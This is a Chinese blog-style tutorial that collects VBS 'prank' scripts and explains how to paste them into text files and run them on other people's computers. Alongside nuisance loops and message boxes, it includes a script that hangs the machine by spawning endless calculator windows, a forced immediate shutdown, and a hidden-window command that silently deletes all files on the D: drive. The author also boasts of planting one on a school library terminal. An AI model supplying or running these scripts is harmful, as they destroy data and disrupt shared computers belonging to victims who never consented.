今天小编给大家带来一个小小的恶搞程序,每个装windows的系统都有的,那就是VBS编辑器。其实VBS本身是用作编程用的,但是我们今天可以学习用文本文档的方式编出高逼格的小程序。
VBS整人代码一:
打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。保存并关闭txt文件。
msgbox("做我女朋友好吗?") msgbox("房产证上写你名字") msgbox("保大") msgbox("我妈会游泳")
然后把文件后缀名改成.vbs,这是最基本的,没有逻辑。
若新建的txt文件不显示“.txt”,可随便打开一个文件夹,再点击【查看】,在【文件扩展名】前面打勾即可。
VBS整人代码二:
我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
do msgbox "You are foolish!" loop
VBS整人代码三:
打开无数个计算器,直到死机
set wsh=createobject("wscript.shell") do wsh.run "calc" loop
VBS整人代码四:
直接关机
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true
VBS整人代码五:
删除D:\所有文件
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
VBS整人代码六:
不断弹出窗口 。复制代码 代码如下:
while(1) msgbox "哈哈 你被耍了!" loop
VBS整人代码七
不断按下alt+f4 (开什么都关闭……) 。复制代码 代码如下:
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop
VBS整人代码八:
按500次回车 。(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)
复制代码 代码如下:
dim s do until s=500 s=s+1 msgbox "哥们,给我按500次回车吧",64 loop
VBS整人代码九:
关不掉的窗口 。复制代码 代码如下:
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下") WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
VBS整人代码九:
最后一个可以向女表白的哟!!!
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我,否则会被关机......"" ",0 ,true dim a do while(a <> "我愿意") a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000) if( a <> "我愿意" ) then msgbox "不愿意么?再考虑一下哦" loop dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "哈哈哈哈,好乖"
里面的汉字自己改成合适的。如果对方不愿意,真的会被关机哦,请谨慎使用。
使用方法:
将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,
如果会弹出弹窗,就表明成功了。
第一种示例比较简单,大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。
第二种示例中也可以在第三行前面随意增加,不管加多少行都行,不过第二个示例如果她选择拒绝就会被关机,怕是你要被打。
Tips:除了中文用全角,其他全用半角格式输入!
好了,以上就是关于“VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白”,最近很多抖友们都在问txt,vbs表白代码怎么生成的?非常的有创意哦!更是技术宅专用的表白方式!感兴趣的你赶紧来学习一下吧!
网友评论 ( 0 条评论 )